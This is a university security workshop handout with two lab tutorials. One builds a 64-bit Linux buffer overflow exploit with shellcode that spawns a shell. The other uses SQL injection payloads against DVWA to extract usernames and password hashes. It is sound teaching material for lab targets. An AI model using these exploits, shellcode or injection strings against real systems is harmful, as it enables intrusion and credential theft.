Computer and Network Security Workshop 2017 (CNSEC2017)

Hosted by

Systems Research Group

http://srg.ics.uplb.edu.ph

Institute of Computer Science
College of Arts and Sciences
University of the Philippines Los Banos

17-18 June 2017
Calubcub Bay Resort
Batangas

Prerequisites

The activities described in this document requires that the participant has successfully followed the steps in the *VagrantTutorial.pdf* document.

Acknowledgment

We would like to thank the following: Jaime Samaniego, Danny Mercado, Clinton Poserio, Miyah Queliste, Ivy Joy Aguila, Dyanara dela Rosa, Donna Drio, Kristine Pelaez, and others who helped and participated.

Table of Contents

Buffer Overflow Exploitation on 64-bit linux systems

Prepared by Joseph Anthony C. Hermocilla

Preliminaries

Intel vs AT&T asm syntax

Hexadecimal to decimal (Python)

```
>>> int("0xff", 16)
>>> hex(65)
>>>struct.pack('B', 65)
```

Little endian

```
unsigned long long x = 0x0123456789ABCDEF
```

- On a 32-bit little-endian processor(ex. Intel), it will appear in memory as
  - `EF CD AB 89 67 45 23 01`
- On a 64-bit little-endian processor(ex. Intel), it will appear in memory as
  - **`EF CD AB 89 67 45 23 01`**
- On a 32-bit big-endian processor, it will appear in memory as
  - `01 23 45 67 89 AB CD EF`
- On a 64-bit big-endian processor, it will appear in memory as
  - `01 23 45 67 89 AB CD EF`

GDB

Memory layout of linux processes

Shell codes

Differences between 32-bit and 64-bit

Steps

1. Start your VM and log in.
    a. `$vagrant up`
    b. `$vagrant ssh`
2. Disable address space randomization on host
    a. `$ sudo -s`
    b. `# echo 0 > /proc/sys/kernel/randomize_va_space`
3. Compile target code with executable stack and without stack protector
    a. `$ gcc -m64 -zexecstack -fno-stack-protector -c -o simeple.o simple.c`
    b. `$ objdump -x -d -M intel simple.o`
    c. `$ gcc -m64 -zexecstack -fno-stack-protector -o simple.exe simple.c`

4. Debug the executable to find the location of the overflow (run on First Terminal)
    a. Setup debug environment
        i. `(gdb) display/i $pc`
        ii. `(gdb) set disassembly-flavor intel`

    b. Show functions
        i. `(gdb) info functions`

    c. Disassemble the main function and look for function call (call instruction) of possible vulnerable functions
        i. `(gdb) disassemble main`

        Once the function (save) has been identified, take note of the address after this call. This address will be searched in the stack later.

    d. Disassemble the function that has the buffer overflow vulnerability
        i. `(gdb) disassemble save`

    e. Set breakpoint on call to strcpy
        i. `(gdb) b * save+45`

    f. Run until breakpoint
        i. `(gdb) r`

    g. Get the value of rsp and rbp
        i. `(gdb) x $rsp`
        ii. `(gdb) x $rbp`

    h. Examine the stack. Find the return address by looking at the 3rd column of the line where RBP points
        i. `(gdb) x/40xw $rsp`

At this point, the location where we need to place the address of our shellcode is known.

i. Check if input was successfully copied to the buffer.

```
 i.   (gdb) ni
ii.   (gdb) x/1sb $rdi
```

5. Find the location and the number of bytes that we can use for our shellcode. The trick is to write enough bytes before reaching the return address location. Generate the input using the code below. (`fuzzer.py`)

```
a. (gdb) r < fuzzer.in
b. (gdb) x/40xw $rsp
c. (gdb) ni
d. (gdb) x/40xw $rsp
```

6. 64-bit systems uses 48-bits only for addresses so it is now guaranteed that we can find the location using A's only. (`fuzzer2.py`)

```
a. (gdb) r < fuzzer.in
b. (gdb) x/40xw $rsp
c. (gdb) ni
d. (gdb) x/40xw $rsp
```

At this point the correct `n` has been obtained.

7. The exploit can now be written and finalized (`attack1.py`, `attack2.py`, `attack3.py`). One tricky part is how to find the `rip` value.

Technique 1: Subtract the `rsp` values displayed when running inside and outside gdb. Add this value to the `rip` used when running inside gdb.

Technique 2: Use the `invoke.sh` script. Make sure to unset LINES and COLUMNS env vars..

Technique 3. Use an environment variable to pass the shell code and use the address of the environment variable(use getenvaddr.c) address as `rip`.

```
$export SHELLCODE=`python -c 'print
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x
52\x57\x54\x5e\xb0\x3b\x0f\x05"'`

$echo $SHELLCODE

$./getenvaddr.exe SHELLCODE ./simple.exe
```

Edit `attack3.py` to use the address obtained from the above command, then generate the exploit.

```
$./simple.exe < attack3.in
```

Source Code

```
/*simple.c
 *Vulnerable program
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int save(char *str){
    register int i asm("rsp");
    char db[40];
    printf("$rsp = %#018x\n",i);
    strcpy(db,str);
    return 0;
}

int main(void){
    char buf[512];
    puts("Enter your name(Ctrl+D on new line to end input): ");
    fread(buf,256,1,stdin);
    save(buf);
    printf("Name saved.");
    return 0;
}
--------------------------------------------------------------------------------
-
#!/usr/bin/python
#fuzzer.py
#n must be adjusted so that the return
#address, as shown in gdb, is not overwritten by As (0x41).

n = 54
print 'A' * n
--------------------------------------------------------------------------------
-
#!/usr/bin/python
#fuzzer2.py

n=56
attack = 'A' * n

for i in range(0,5):
   for j in range(0,10):
      attack += str(i) + str(j)
```

```
print attack


--------------------------------------------------------------------------------
-
#!/usr/bin/python
#attack1.py

n=56
nops_count=12
trap_count=4

nopsled = '\x90' * nops_count
shellcode = '\xcc' * trap_count
pad = 'A' * (n - nops_count - len(buf))
rip = 'ABCDEFGH'

print nopsled + shellcode + pad + rip
--------------------------------------------------------------------------------
-
#!/usr/bin/python
#attack2.py

n=56
nops_count=12
trap_count=4

nopsled = '\x90' * nops_count
shellcode = '\xcc' * trap_count
pad = 'A' * (n - nops_count - len(buf))
rip = '\x02\xda\xff\xff\xff\x7f\x00\x00'

print nopsled + shellcode + pad + rip
--------------------------------------------------------------------------------
-
#!/usr/bin/python
#attack3.py

n=56
nops_count=12

nopsled = '\x90' * nops_count
shellcode=""

#shellcode+="\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x
52\x51\x54\x5f\x0f\x05"
```

```
#shellcode+="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x
6a\x3b\x58\x31\xd2\x0f\x05"

#shellcode+="\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x
3c\x24\xb0\x3b\x0f\x05"

shellcode+="\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x6
2\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

pad = 'A' * (n - nops_count - len(shellcode))

#when running inside gdb
rip = '\x02\xda\xff\xff\xff\x7f\x00\x00'

#when running outside gdb
#rip = '\x22\xdb\xff\xff\xff\x7f\x00\x00'

print nopsled + shellcode + pad + rip
```

```
#!/bin/sh
#invoke.sh
#Wrapper to setup the environment variables so that RSP values remain the
#in and out of gdb. For testing purposes.
#From: https://stackoverflow.com/users/1170277/mavam
#Use:
#  ./invoke.sh simple.exe
#  ./invoke -d simple.exe
#
# In gdb:
#  (gdb) unset env LINES
#  (gdb) unset env COLS
#

while getopts "dte:h?" opt ; do
  case "$opt" in
      h|\?)
      printf "usage: %s -e KEY=VALUE prog [args...]\n" $(basename $0)
      exit 0
      ;;
      t)
      tty=1
      gdb=1
      ;;
      d)
      gdb=1
      ;;
      e)
```

```
      env=$OPTARG
      ;;
  esac
done

shift $(expr $OPTIND - 1)
prog=$(readlink -f $1)
shift
if [ -n "$gdb" ] ; then
  if [ -n "$tty" ]; then
      touch /tmp/gdb-debug-pty
      exec env - $env TERM=screen PWD=$PWD gdb -tty /tmp/gdb-debug-pty --args
$prog "$@"
  else
      exec env - $env TERM=screen PWD=$PWD gdb --args $prog "$@"
  fi
else
  exec env - $env TERM=screen PWD=$PWD $prog "$@"
fi
```

```
/* Display the address of environment variable from a process
 * Name: getenvaddr.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
      char *ptr;

      if(argc < 3) {
            printf("Usage: %s <environment variable> <target program name>\n",
argv[0]);
            exit(0);
      }
      ptr = getenv(argv[1]); /* get env var location */
      ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name
*/
      printf("%s will be at %p\n", argv[1], ptr);
}
```

References

- http://crypto.stanford.edu/~blynn/rop/
- https://samsclass.info/127/proj/p13-64bo.htm
- https://www.exploit-db.com/docs/33698.pdf
- https://www.exploit-db.com/shellcode/?order_by=title&order=asc&p=Lin_x86-64
- https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it/17775966#17775966
- https://modexp.wordpress.com/2016/03/31/x64-shellcodes-linux/
- https://stackoverflow.com/questions/15533889/buffer-overflows-on-64-bit
- http://vipulchaskar.blogspot.com/2012/11/sql-injection-2_8453.html

Web Security: SQL Injection Attack with DVWA

Prepared by Marie Betel B. de Robles

(For this session access http://127.0.0.1:8080 on a browser after `vagrant up`. Username is '`admin`' and password is '`password`'. Do not forget to set the security level to '`low`' through the '`DVWA Security`' option. Click `Submit`. Finally click the '`SQL Injection`' option to try out the steps below.)

A SQL Injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can bypass logins, access sensitive data, modify contents of website or even shutdown the MySQL server and in some cases issue commands to the operating system.

A SQLi has two stages:

- **Research**: Attacker tries submitting various unexpected values for the argument, observes how the application responds, and determines an attack to attempt.
- **Attack**: Attacker provides a carefully-crafted input value that, when used as an argument to a SQL query, will be interpreted as part of a SQL command rather than merely data; the database then executes the SQL command as modified by the attacker.

The scope of this tutorial will be limited to extracting username and password from the database. Consider a simple search field that retrieves the name of a user by its id. Let's start with a normal input.

```
Input: 1
SQL Query: SELECT firstname, surname FROM users WHERE userid='1';
Result:
First name: admin
Surname: admin
```

From the result, we can assume that there are at least two columns (firstname and surname) and a WHERE clause (filter the user id) in the SQL statement.

```
Input: a' OR 1=1 #
SQL Query: SELECT firstname, surname FROM users WHERE userid='a' OR 1=1
#;
Result: *List of all users*
```

The single quote (') after 'a' is used to match the opening single quote in the assumed SQL statement. OR is a conjunction in SQL and 1=1 is a condition that will always evaluate to true. Regardless of the input, the condition holds true and it will return all users in the database. The "#" is a comment in SQL that is used to avoid getting errors because of that trailing single quote in the statement which does not match anywhere.

Input: a' ORDER BY 1 #
SQL Query: SELECT firstname, surname FROM users WHERE userid='a' ORDER BY 1 #;
Result: Nothing

We use the ORDER BY statement to determine number of columns in the SQL query. Replace "1" with "1,2", “1,2,3”, and so on until you get an error.

Input: a' UNION SELECT 1,2 #
SQL Query: SELECT firstname, surname FROM users WHERE userid='a' UNION SELECT 1,2 #;
Result: Nothing

Input: a' UNION SELECT 1,2,3 #
SQL Query: SELECT firstname, surname FROM users WHERE userid='a' UNION SELECT 1,2 #;
Result: Unknown column '3' in 'order clause'

In our example, we encountered an error, “`Unknown column '3' in 'order clause'`”, which means that there are only two columns in the returning SQL statement.

Input: a' UNION SELECT 1,2#
SQL Query: SELECT firstname, surname FROM users WHERE userid='a' UNION SELECT 1,2 #;
Result:
ID: a' union select 1,2 #
First name: 1
Surname: 2

UNION operator is used to combine the result from multiple SELECT statements into a single result set.

Input: a' UNION SELECT table_name,null FROM information_schema.tables #
SQL Query: SELECT firstname, surname FROM users WHERE userid='a' UNION SELECT table_name,null FROM information_schema.tables #;
Result:

According to SQL standards, there is a standard database called `information_schema` in every SQL installation. This database holds information about all other tables and their respective columns. Here we explored the database and found out that there are too many tables.

Let’s try to filter the result with WHERE clause.

Input: a' UNION SELECT table_name,null FROM information_schema.tables WHERE table_schema=database() #
Result:

It displayed the tables that are present in the current database.

Now we explore `information_schema.columns` which gives the columns present in the current database. They may be either from the tables we discovered a while ago.

```
Input: a' UNION SELECT column_name,null FROM information_schema.columns
WHERE table_schema=database()#
SQL Query: SELECT firstname, surname FROM users WHERE userid='a' UNION
SELECT column_name,null FROM information_schema.columns WHERE
table_schema=database()#;
Result:
```

Out of these, 'users' and 'password' seem interesting and likely to be placed in 'users' table.

```
Input: a' UNION SELECT user,password FROM users #
SQL Query: SELECT firstname, surname FROM users WHERE userid='a' UNION
SELECT user,password FROM users#;
Result:
```

Now we got the username and passwords. Passwords are md5 hashed and it should be easy to crack with any online tool or rainbow tables.

References:

- http://vipulchaskar.blogspot.com/2012/11/sql-injection-2_8453.html
- https://breakthesecurity.cysecurity.org/2010/12/hacking-website-using-sql-injection-step-by-step-guide.html
- https://www.veracode.com/security/sql-injection
- https://blog.udemy.com/sql-injection-tutorial/